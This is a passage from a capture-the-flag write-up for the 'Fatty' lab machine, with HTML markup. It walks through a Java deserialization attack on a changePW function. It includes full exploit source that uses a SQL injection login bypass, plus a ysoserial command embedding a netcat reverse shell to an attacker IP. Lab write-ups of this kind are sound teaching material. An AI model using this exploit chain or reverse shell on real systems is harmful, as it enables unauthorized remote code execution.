class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">sendAndRecv<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">response<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">hasError<\/span><span class=\"enlighter-g1\">())<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"Error: Your action caused an error on the application server!\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">response<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">getContentAsString<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The<span>\u00a0<\/span><code>changePW<\/code><span>\u00a0<\/span>method starts like expected, it takes a<span>\u00a0<\/span><em>username<\/em>, a new<span>\u00a0<\/span><em>password<span>\u00a0<\/span><\/em>and performs the already bypassed access control checks. But then something crazy happens. Instead of sending the<span>\u00a0<\/span><em>username<span>\u00a0<\/span><\/em>and<span>\u00a0<\/span><em>password<span>\u00a0<\/span><\/em>parameters as<span>\u00a0<\/span><em>Strings<span>\u00a0<\/span><\/em>to the server, the method constructs a new<span>\u00a0<\/span><code>User<\/code><span>\u00a0<\/span>object and<span>\u00a0<\/span><em>serializes<span>\u00a0<\/span><\/em>it. The<span>\u00a0<\/span><em>serialized<span>\u00a0<\/span><\/em><code>User<\/code><span>\u00a0<\/span>object is when transformed to<span>\u00a0<\/span><em>base64<span>\u00a0<\/span><\/em>and sent to the application server.<\/p>\n<p>Depending on the implementation on the server side, the<span>\u00a0<\/span><code>changePW<\/code><span>\u00a0<\/span>function could be vulnerable to<em><span>\u00a0<\/span>Java deserialization attacks<\/em><span>\u00a0<\/span>and indeed, we find that the application server is just deserializing the transmitted object without any security checks:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> b64User = args.<\/span><span class=\"enlighter-m3\">get<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k5\">byte<\/span><span class=\"enlighter-g1\">[]<\/span><span class=\"enlighter-text\"> serializedUser = Base64.<\/span><span class=\"enlighter-m3\">getDecoder<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">decode<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">b64User.<\/span><span class=\"enlighter-m3\">getBytes<\/span><span class=\"enlighter-g1\">())<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">ByteArrayInputStream bIn = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">ByteArrayInputStream<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">serializedUser<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">ObjectInputStream oIn;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> oIn = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">ObjectInputStream<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">bIn<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> User newUser = <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">User<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">oIn.<\/span><span class=\"enlighter-m3\">readObject<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">Exception e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> e.<\/span><span class=\"enlighter-m3\">printStackTrace<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> response += <\/span><span class=\"enlighter-s0\">\"Error: Failure while recovering the User object.\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> response;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>This should allow us to exploit the<span>\u00a0<\/span><code>changePW<\/code><span>\u00a0<\/span>function in order to get<span>\u00a0<\/span><em>remote code execution<\/em>. The first thing we need to do is to patch the<span>\u00a0<\/span><code>changePW<\/code><span>\u00a0<\/span>function in our local version of the<span>\u00a0<\/span><code>Invoker<\/code><span>\u00a0<\/span>class. To keep the patch simple and flexible, we just expect the<span>\u00a0<\/span><em>base64<span>\u00a0<\/span><\/em>encoded payload as input, and transmit it directly to the server:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">changePWExploit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> payload<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">throws<\/span><span class=\"enlighter-text\"> MessageParseException, MessageBuildException, IOException <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> action = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">ActionMessage<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">sessionID<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"changePW\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> action.<\/span><span class=\"enlighter-m3\">addArgument<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">payload<\/span><span class=\"enlighter-g1\">))<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">sendAndRecv<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">response<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">hasError<\/span><span class=\"enlighter-g1\">())<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"Server response contained an error. Your shell is probably on the way :D\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k9\">this<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">response<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">getContentAsString<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Again we need to use the<span>\u00a0<\/span><em>SQLi<\/em><span>\u00a0<\/span>payload inside our client, since calling the<span>\u00a0<\/span><code>changePW<\/code><span>\u00a0<\/span>method requires administrative privileges. Furthermore, we have to change the<span>\u00a0<\/span><code>Invoker<\/code><span>\u00a0<\/span>function to<span>\u00a0<\/span><code>invo.changePWExploit(\"&lt;payload&gt;\")<\/code>. In the following listing, I just wrote down the full source code of the final exploit:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> java.io.IOException<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.client.connection.Connection<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.client.methods.Invoker<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.shared.message.MessageBuildException<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.shared.message.MessageParseException<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-k10\"> htb.fatty.shared.resources.User<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">class<\/span><span class=\"enlighter-text\"> Serialize <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">public<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">static<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">void<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">main<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-g1\">[]<\/span><span class=\"enlighter-text\"> args <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> Connection conn = <\/span><span class=\"enlighter-e1\">null<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> conn = Connection.<\/span><span class=\"enlighter-m3\">getConnection<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> Exception e <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Connection attempt failed: \"<\/span><span class=\"enlighter-text\"> + e.<\/span><span class=\"enlighter-m3\">getMessage<\/span><span class=\"enlighter-g1\">())<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> User user = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">User<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"' UNION SELECT 1,'fake','fake@fake.fake','fakepassword','admin\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">\"fakepassword\"<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-e0\">false<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> conn.<\/span><span class=\"enlighter-m3\">login<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Login succesful!\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">else<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Login failed!\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> roleName = conn.<\/span><span class=\"enlighter-m3\">getRoleName<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> user.<\/span><span class=\"enlighter-m3\">setRoleByName<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">roleName<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Current role: \"<\/span><span class=\"enlighter-text\"> + roleName<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> payload = <\/span><span class=\"enlighter-s0\">\"ysoserial generated payload\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> Invoker invo = <\/span><span class=\"enlighter-k3\">new<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">Invoker<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">conn, user<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k5\">String<\/span><span class=\"enlighter-text\"> serverResponse = <\/span><span class=\"enlighter-s0\">\"\"<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">try<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> serverResponse = invo.<\/span><span class=\"enlighter-m3\">changePWExploit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">payload<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">MessageParseException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Failure during message parsing.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">MessageBuildException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Failure during message building.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">catch<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">IOException e<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[-] Failure during message sending.\"<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">exit<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> System.<\/span><span class=\"enlighter-m3\">out<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">println<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"[+] Server response is: \"<\/span><span class=\"enlighter-text\"> + serverResponse<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The last thing we are missing is the actual payload, which can of course easily be generated by using<span>\u00a0<\/span><a href=\"https:\/\/github.com\/frohoff\/ysoserial\" target=\"_blank\" rel=\"noreferrer noopener\">ysoserial<\/a>. Since the whole<span>\u00a0<\/span><em>Fatty<\/em><span>\u00a0<\/span>project is using<span>\u00a0<\/span><em>Spring<\/em>, you may be tempted to use the<span>\u00a0<\/span><em>Spring gadget-chains<\/em><span>\u00a0<\/span>of<span>\u00a0<\/span><em>ysoserial<\/em>, but the version of<span>\u00a0<\/span><em>Spring<span>\u00a0<\/span><\/em>that is used for<span>\u00a0<\/span><em>Fatty<\/em><span>\u00a0<\/span>is no longer vulnerable to them. However, by unzipping<span>\u00a0<\/span><em>fatty-server.jar<\/em>, you can identify that it contains packages that start with<span>\u00a0<\/span><code>org.apache.commons.collections<\/code><span>\u00a0<\/span>and this means that one of<span>\u00a0<\/span><em>ysoserials<\/em><span>\u00a0<\/span><em>CommonsCollections gadget chains<\/em><span>\u00a0<\/span>probably works.<\/p>\n<p>In this example, we will use the gadget chain<span>\u00a0<\/span><em>CommonsCollections5<\/em><span>\u00a0<\/span>and generate our payload like this:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:\/opt\/ysoserial\/target$ .\/ysoserial CommonsCollections5 <\/span><span class=\"enlighter-s0\">'nc 10.10.14.17 4444 -e \/bin\/sh'<\/span><span class=\"enlighter-text\"> | base64 -w0<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>While the usage of<span>\u00a0<\/span><em>ysoserial<\/em><span>\u00a0<\/span>should be straight forward, there are some pitfalls when choosing the correct payload:<\/p>\n<ol>\n<li><em>fatty-server.jar<\/em><span>\u00a0<\/span>is running as user<span>\u00a0<\/span><em>qtc<\/em>, who has no root privileges on the server. On<span>\u00a0<\/span><em>alpine docker containers<\/em><span>\u00a0<\/span>(or at least at the one that is being used),<span>\u00a0<\/span><code>ping<\/code><span>\u00a0<\/span>is only allowed for the root user and<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>can therefore not use<span>\u00a0<\/span><code>ping<\/code>. This could lead to false negatives when testing your serialized payload.<\/li>\n<li>The alpine docker container does not contain a<span>\u00a0<\/span><code>bash<\/code><span>\u00a0<\/span>executable. Therefore, it is important to choose<span>\u00a0<\/span><code>\/bin\/sh<\/code><span>\u00a0<\/span>for the reverse shell payload.<\/li>\n<li>The<span>\u00a0<\/span><code>nc<\/code><span>\u00a0<\/span>version on the alpine container requires<span>\u00a0<\/span><code>-e 